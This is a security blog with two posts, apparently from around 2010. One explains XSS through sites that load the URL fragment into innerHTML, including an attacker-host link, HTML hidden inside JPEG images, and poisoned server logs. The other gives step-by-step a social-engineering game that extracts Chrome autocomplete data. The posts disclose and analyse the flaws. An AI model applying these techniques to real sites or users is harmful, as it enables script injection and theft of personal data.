XSSing client-side dynamic HTML includes by hiding HTML inside images and more

Matt Austin made a brilliant discovery sometime back and wrote a detailed post of his hack, you absolutely must read it. Basically it is a problem with sites that use Ajax to fetch pages mentioned in the URL after # and then include them in the innerHTML in a DIV element, he picks 'touch.facebook.com' as an example.

Quoting from his post:

If you click on any URL you see the links don't actually change the page but loads them with ajax. http://touch.facebook.com/#profile.php actually loads http://touch.facebook.com/profile.php into a div on the page.

The problem here is that the XMLHttpRequest object can make Cross Origin calls thanks to HTML5. So if a victim clicks on a link like 'http://touch.facebook.com/#http://attacker.site/evil.php' then 'http://attacker.site/evil.php' is fetched and is included in the innerHTML of the page leading to XSS. Clever find!

The very first paragarph of his post however made me very uncomfortable:

HTML 5 does not do much to solve browser security issues. In fact it actually broadens the scope of what can be exploited, and forces developers to fix code that was once thought safe.

Call me an HTML5 fanboy but I believe the spec designers have taken security very seriously based on the discussions I have seen while lurking on their mailings lists. So such a blatant allegation was hard for me to digest and I was secretly hoping that this design was vulnerable even without taking in to account the Cross Origin Request feature of HTML5.

And it turns out it is actually vulnerable even with plain old HTML4. The problem here is that the application fetches any page which is provided after the # and includes this in the innerHTML of a DIV element. So what this means is that every single file on that site - (CSS|JS|JPG|...|log) is now treated as HTML.

How is this a problem? Lets say the site lets users upload their profile pictures and stores these under the same domain name (FaceBook however uses a different domain name for storing static content). Normally this cannot lead to XSS because the img is only called from the <img> tag which parses and renders it as a image. However under the design being discussed, the same image file can be rendered as HTML. When a victim clicks on a link like 'http://vulnsite.com/#profile_334616.jpg' then 'profile_334616.jpg' is fetched and the 'responseText' is added to the innerHTML property.

It is possible to hide HTML inside images without any visual differences. The HTML can come after the End of Image marker (0xFF D9) or right before that and still the images looks the same. It can also be added in the comment section but some sites might remove the comments section from the images to save storage space. When the content of this image is render as HTML the binary section of the image is considered as text and displayed normally and the HTML section is parsed and rendered by Chrome, Safari and Firefox. Opera and IE however stop parsing after reading a few bytes of the binary content. I tried moving the HTML to the beginning of the image right after the Start of Image marker inside a comment section but still they refused to render it.

Check out this simple POC to see this in action.

Apart from images any user uploaded file could now potentially turn in to HTML under this design. Even if the site does not have any file upload features, an attacker could indirectly upload his images through social engineering. News and media websites routinely include images provided to them from external sources and an attacker could slip in his HTML poisoned image which might eventually end up on the site. Though a little far fetched something like this is not entirely impossible. Any compression technique used by the server on the images would however mangle the HTML.

Another way by which an attacker can get his data on the server is through server logs. If the log file contains all the User-Agent strings in unencoded format then an attacker could include HTML in his request's UA field and poison the server log. An administrator who has access to these logs can be sent a link like http://admin.vulnsite.com/#August2010.log and clicking on it would eventually lead to the rendering of that HTML.

Though there could be other scenario's I think you get the general idea. So coming back to the design itself, it was vulnerable to begin with and HTML5's Cross Origin Request made it incredibly easier to exploit.

Even with all these counter-arguments eventually I have to agree with Matt. Cross Origin Request was one feature where HTML5 did actually get it wrong because they gave additional capability to the same API with absolutely no extra code requirements. So the same code now could do things that the developers never anticipated. Its like suddenly one random morning you hit on your car's accelerator and then find out that now it is also wired to NOS, don't think you would like that surprise.

IE on the other hand had done the right thing with XDomainRequest which is a new API and not a simple extension of XHR. Probably the XMLHttpRequest object must get a new property which should be explicitly set to enable COR.

Eg:

var xhr = new XMLHttpRequest();

xhr.cor = true;

xhr.open("http://external.site/");

A simple extension like this could prevent existing code from becoming vulnerable while giving the same familiar XHR API to developers for COR.

Stealing entire Auto-Complete data in Google Chrome

Couple of weeks back Jeremiah Grossman posted details of his Safari Auto-Complete hack along with a really cool POC. To me the most interesting aspect of the POC is how it populates the text box with JavaScript, simulating the victim’s keystrokes.

I ran the POC in Google Chrome and as each character was entered in to the Input box, there was a list of auto-complete suggestions that popped-up. The amount of information that was in those lists was scary. Jeremiah’s POC was not designed to capture the information in the auto-complete suggestion lists, it was only looking for values that got populated in to the textbox.

I initially though it must be relatively easy to capture the information in these lists by simulating a down arrow keypress and then an enter keypress to populate the textbox. But that approach didn’t work because the list that pops up is not part of the DOM, so JavaScript has absolutely no control over this list. Infact moving the mouse over this list or pressing the arrow keys to move through the list of suggestions does not even trigger the Mousemove / KeyDown events.

After playing around for sometime I figured out one way to extract the information from the auto-complete suggestion list. This technique is not entirely automated but it only requires minimal user interaction. The user only has to press the enter key periodically and the rest is done with JavaScript. And to Social Engineer the user to press the enter key, I have written a simple game where the user is randomly shown either a white or a black box and asked to press enter when the black box is shown and do nothing when the white box is shown. The end result is actually pretty convincing.

This is how it works:

1. User is asked to place his mouse pointer in one section of the page. By following the mouse movement we know exactly where the pointer this is located.
2. We create an input element of very small width (3px) and position it just a little above where the mouse pointer rests.
3. Now using the same method used by Jeremiah a character is entered in to the input box.
4. When the auto-complete suggestion list pops up, the first entry in the list is now right under the mouse pointer and is highlighted automatically.
5. When the user hits enter (he thinks he is playing a game) this entry is populated in to the input box and is read by JavaScript.
6. Now the Input box is moved a little upwards and step 3 is repeated and this time the mouse pointer is over the second entry in the suggestion list and it is highlighted.

Step 3-6 are repeated till all values are read.

As you can see the only interaction from the user is hitting the enter key periodically. Chrome allows a maximum of 6 auto-complete suggestions per character and if the user plays the game for a couple of minutes the entire auto-complete suggestion data can be stolen by the attacker.

The POC works best in Google Chrome running on Windows. Because in this set-up an Input element of 3px width has an auto-complete suggestion list also of 3px width, it only looks like a thin white strip. And with a cleverly selected background this 3px strip is camouflaged and becomes practically invisible as done in the POC.

In Google Chrome running on Linux (thanks to Mario for verifying this) the width of the auto-complete box is not affected by the width of the input element, so even if the input element is of 3px the pop-up list is of its normal width. It’s the same story with Firefox even on Windows. If the list is of its normal width then it cannot be hidden from the user, CSS overlay techniques don’t work, and the attack becomes very obvious for the victim to see.

Another factor that makes this attack possible is that when the pop-up list appears, the ‘mousemove’ event is triggered automatically and so the entry under the mouse pointer gets selected without the user having to move the mouse. I am not sure if this is a Google Chrome specific behavior or is common to all browsers, haven’t tested that yet.

The POC is available here and there is also a video if you would like to see the attack in action.